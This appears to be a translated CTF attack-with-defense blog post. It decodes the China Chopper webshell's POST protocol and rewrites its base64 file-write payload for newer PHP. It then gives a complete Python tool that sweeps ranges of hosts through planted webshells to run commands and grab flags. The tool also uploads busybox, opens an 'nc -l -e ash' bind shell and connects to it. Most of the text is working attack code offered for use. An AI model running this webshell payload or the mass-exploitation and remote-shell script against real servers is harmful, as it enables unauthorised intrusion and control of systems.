AWD(3)_rewriting kitchen knife of ctf
principle
Multiple post
cmd=@eval(base64_decode($_POST[z0])); #cmd is the original password, z0 is the new password.
Analysis of Wishark Pack Grabbing
Kitchen knife 2011
post data analysis
&cmd=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B &z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D &z1=QzpcXFVzZXJzXFxhZG1pbjFcXERlc2t0b3BcXHBocHNcXFdXV1xcdGVzdC50eHQ%3D&z2=61733132333435360D0A6173313233343536
Decoding cmd= z0= z1= url and base64
cmd=@eval(base64_decode($_POST[z0])); z0= @ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die(); z1=C:\\Users\\admin1\\Desktop\\phps\\WWW\\test.txt z2 Content: as123456 as123456
z0 simplification
@ini_set("display_errors","0"); @set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$f=base64_decode($_POST["z1"]); $c=$_POST["z2"]; $c=str_replace("\r","",$c); $c=str_replace("\n","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2)); echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");; echo("|<-"); die();
That is, Z0 - > PHP write file Z1 - > remote file name Z2 - > local file content
0x61 = 97 chr(97) = 'a'
Resolve kitchen knife 2011 unavailable on ubuntu
Look at / var/log/apache2/error.log and find @set_magic_quotes_runtime(0); error, this only works when PHP < 5.3
Rewrite the php string
@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();
Details
-
@ After eval, add the controller SOH or 0x01
-
Because the standard Base64 code may appear character + and /, in URL can not be directly used as parameters, so there is a "url safe" Base64 encoding, in fact, the characters + and / respectively become and -, notepad++ ellipsis = =, base64.urlsafe_b64decode(base64_url).
-
Z2 - > File content. File content should be capitalized and aligned by bytes. Python 3 reads the binary file and deletes 0x.
from attack_tool import convertToHex #convertToHex reads binary files and converts them into strings 0x10PreviousasciiRemove`0x`After that, align by bytes and add before the letters'0' eg: ord('\n') = 10 hex(10) = '0xa' After alignment: '0A'
- convertToHex in the next article (ctf AWD(4)_Rewriting kitchen knife)
Python 3 source code
#attack_utils.py #coding:utf-8 import requests import queue from urllib.parse import unquote,quote from attack_tool import convertToHex import os import subprocess import sys import time import re # Print ('[1; 32; 40m green, black background[0m color not shown') # Print ('[1; 31; 40m red, black background[0m color not shown') HEADERS = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'} POST_FLAG_HEADERS = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36'} URI = '/.index.php' POST_FLAG_URL = "http://192.168.100.1/" PORTS = ['80', '81', '82'] COLOR_GREEN = '\033[1;32;40m' COLOR_RED = '\033[1;31;40m' COLOR_NONE = '\033[0m' #raw_data = 'system("curl http://192.168.100.1/Getkey");' #RAW_CMD = 'system("curl ip.sb");' #ip.gs RAW_CMD = 'system("ls /tmp;file /tmp/busybox");' RAW_NC = 'system("chmod 777 /tmp/busybox;/tmp/busybox nc -l -p 8888 -e /tmp/busybox ash");' PASSWORD = '1234' PASSWORD_DATA_CMD = 'pass=' + PASSWORD + '&a=' + quote(RAW_CMD) PASSWORD_DATA_UPLOAD = 'pass=' + PASSWORD + '&a=' PASSWORD_DATA_NC = 'pass=' + PASSWORD + '&a=' + quote(RAW_NC) PHP_CODE = '%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B' LFILE_BUSYBOX = 'd:/busybox.txt' #'ZDovYnVzeWJveC50eHQ' RFILE_BUSYBOX = 'L3RtcC9idXN5Ym94' #/tmp/busybox # z0 = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik%2FIjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D' z0 = 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiLT58Iik7OyRmPWJhc2U2NF9kZWNvZGUoJF9QT1NUWyJ6MSJdKTskYz0kX1BPU1RbInoyIl07JGM9c3RyX3JlcGxhY2UoIlxyIiwiIiwkYyk7JGM9c3RyX3JlcGxhY2UoIlxuIiwiIiwkYyk7JGJ1Zj0iIjtmb3IoJGk9MDskaTxzdHJsZW4oJGMpOyRpKz0yKSRidWYuPXVybGRlY29kZSgiJSIuc3Vic3RyKCRjLCRpLDIpKTtlY2hvKEBmd3JpdGUoZm9wZW4oJGYsInciKSwkYnVmKT8iMSI6IjAiKTs7ZWNobygifDwtIik7ZGllKCk7%3D%3D' z0_str_2011 = '''@ini_set("display_errors","0");@set_time_limit(0);if(PHP_VERSION<'5.3.0'){@set_magic_quotes_runtime(0);};echo("->|");;$f=base64_decode($_POST["z1"]);$c=$_POST["z2"];$c=str_replace("\r","",$c);$c=str_replace("\n","",$c);$buf="";for($i=0;$i<strlen($c);$i+=2)$buf.=urldecode("%".substr($c,$i,2));echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;echo("|<-");die();''' ''' #@eval(base64_decode($_POST[z0]));&z0=z0_str_2011 z1:rfile z2:lfile z0_str -> base64 -> urlencode : '+' -> %2B quote('+'),End plus%3D%3D Namely== quote('=') ''' def url_queue(uri, p1, p2, i1, i2): my_url_queue = queue.Queue() for j in range(int(p1), int(p2)): for i in range(int(i1), int(i2)): full_url = "http://4.4." + str(i) + ".101" + ":%s" % PORTS[j] + str(uri) my_url_queue.put(full_url) # local_url = "http://192.168.232.141" + ":%s" % PORTS[j] + uri # local_url = "http://192.168.232.129" + ":%s" % PORTS[j] + uri # my_url_queue.put(local_url) #print(full_url) return my_url_queue def check_shell(uri, p1, p2, i1, i2): tmp_queue = url_queue(uri, p1, p2, i1, i2) while tmp_queue.qsize() > 0: try: url = tmp_queue.get_nowait() req_get = requests.get(url=url, headers=HEADERS) #req_get = requests.get(url=url, headers=HEADERS, timeout=1) if req_get.status_code == 200: print(COLOR_GREEN + '[+]: ' + url) else: print(COLOR_RED + '[-]: ' + 'request was aborted') except Exception as e: print(COLOR_RED + '[-]: ' + str(e)) pass def get_flag(uri, p1, p2, i1, i2, password): tmp_queue = url_queue(uri, p1, p2, i1, i2) while tmp_queue.qsize() > 0: try: url = tmp_queue.get_nowait() req_post = requests.post(url=url, data=password, headers=HEADERS) #req_post = requests.post(url=url, data=password, headers=HEADERS, timeout=1) if req_post.status_code == 200: print(COLOR_GREEN + '[+flag]: ' + req_post.text.strip() + ' : ' + url) else: print(COLOR_RED + '[-]: ' + 'request was aborted') except Exception as e: print(COLOR_RED + '[-]: ' + str(e)) pass def post_flag(): while True: flag = input('input flag:') data = quote(flag.strip()) if flag == 'q': break else : try: req = requests.post(url=POST_FLAG_URL, data=flag, headers=POST_FLAG_HEADERS) if req.status_code == 200: print(COLOR_GREEN + '[+]: ' + "Submit successfully") #print(req.text) else: print(COLOR_RED + '[-]: ' + "Failure to submit") except Exception as e: print(COLOR_RED + '[-]: ' + str(e)) pass def upload_file(uri, p1, p2, i1, i2, lfile, rfile): z1 = rfile try: f = open(lfile,'r') z2 = f.read() f.close() #z2 = convertToHex(lfile) except Exception as e: print(COLOR_RED + '[-]: ' + 'Failed to open the file' + str(e)) pass data = PASSWORD_DATA_UPLOAD + PHP_CODE + '&z0=' + z0 + '&z1=' + z1 + '&z2=' + z2 tmp_queue = url_queue(uri, p1, p2, i1, i2) while tmp_queue.qsize() > 0: try: url = tmp_queue.get_nowait() req = requests.post(url=url, data=data, headers=HEADERS) #req = requests.post(url=url, data=data, headers=HEADERS, timeout=1) if req.status_code == 200: print(COLOR_GREEN + '[+]: ' + 'Upload success') else: print(COLOR_RED + '[-]: ' + 'Upload failure') except Exception as e: print(COLOR_RED + '[-]: ' + str(e)) pass def connect_nc_shell(host, port): try: cmd_str = "nc %s %s" % (str(host), str(port)) proc = subprocess.Popen(cmd_str, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.STDOUT, shell=True) proc.stdout.flush() proc.stdin.flush() line = input() line_byte = bytes(line, encoding='utf-8') while line != 'q': proc.stdin.write(line_byte + b'\n') proc.stdin.flush() output = proc.stdout.readline() output_str = str(output.decode('utf-8')) sys.stdout.write(output_str) sys.stdout.flush() line = input() line_byte = bytes(line, encoding='utf-8') except Exception as e: print(COLOR_RED + '[-]:' + str(e)) pass def get_nc_shell(uri, p1, p2, i1, i2, lfile, rfile): start = time.time() tmp_queue = url_queue(uri, p1, p2, i1, i2) z1 = rfile try: f = open(lfile, 'r') z2 = f.read() f.close() # z2 = convertToHex(lfile) except Exception as e: print(COLOR_RED + '[-]: ' + 'Failed to open the file' + str(e)) pass data = PASSWORD_DATA_UPLOAD + PHP_CODE + '&z0=' + z0 + '&z1=' + z1 + '&z2=' + z2 while tmp_queue.qsize() > 0: try: url = tmp_queue.get_nowait() ips = re.findall(r'\d+.\d+.\d+.\d+', url) # req_post = requests.post(url=url, data=password, headers=HEADERS, timeout=1) req_1 = requests.post(url=url, data=PASSWORD_DATA_CMD, headers=HEADERS) if req_1.status_code == 200: print(COLOR_GREEN + '[+flag]: ' + req_1.text.strip() + ' : ' + url) else: print(COLOR_RED + '[-]: ' + 'Obtain flag fail') req_2 = requests.post(url=url, data=data, headers=HEADERS) if req_2.status_code == 200: print(COLOR_GREEN + '[+]: ' + 'Upload success') else: print(COLOR_RED + '[-]: ' + 'Upload failure') try: vbs_name = ips[0] + '.vbs' vbs_file = open('d:/' + vbs_name, 'w') vbs_file.write('Set ws=CreateObject("Wscript.Shell")' + '\n') cmd_str = "cmd /c nc %s 8888" % ips[0] vbs_file.write('ws.run ' + '"' + cmd_str + '"') vbs_file.close() except Exception as e: print(COLOR_RED + '[-]:' + 'Write in vbs fail' + str(e)) pass end = time.time() total = end - start print(COLOR_GREEN + '[+]: ' + 'consume %ss' % str(total)) req_3 = requests.post(url=url, data=PASSWORD_DATA_NC, headers=HEADERS) if req_3.status_code == 200: print(COLOR_GREEN + '[$$$]: nc '+ ips[0] + ' 8888') else: print(COLOR_RED + '[-]: ' + 'nc request was aborted') except Exception as e: print(COLOR_RED + '[-]: ' + str(e)) pass def get_password(file_pass): password = [] f = open('d:/pass100.txt', 'r') for i in f.readlines(): password.append(i.strip()) f.close() if __name__ == '__main__': pass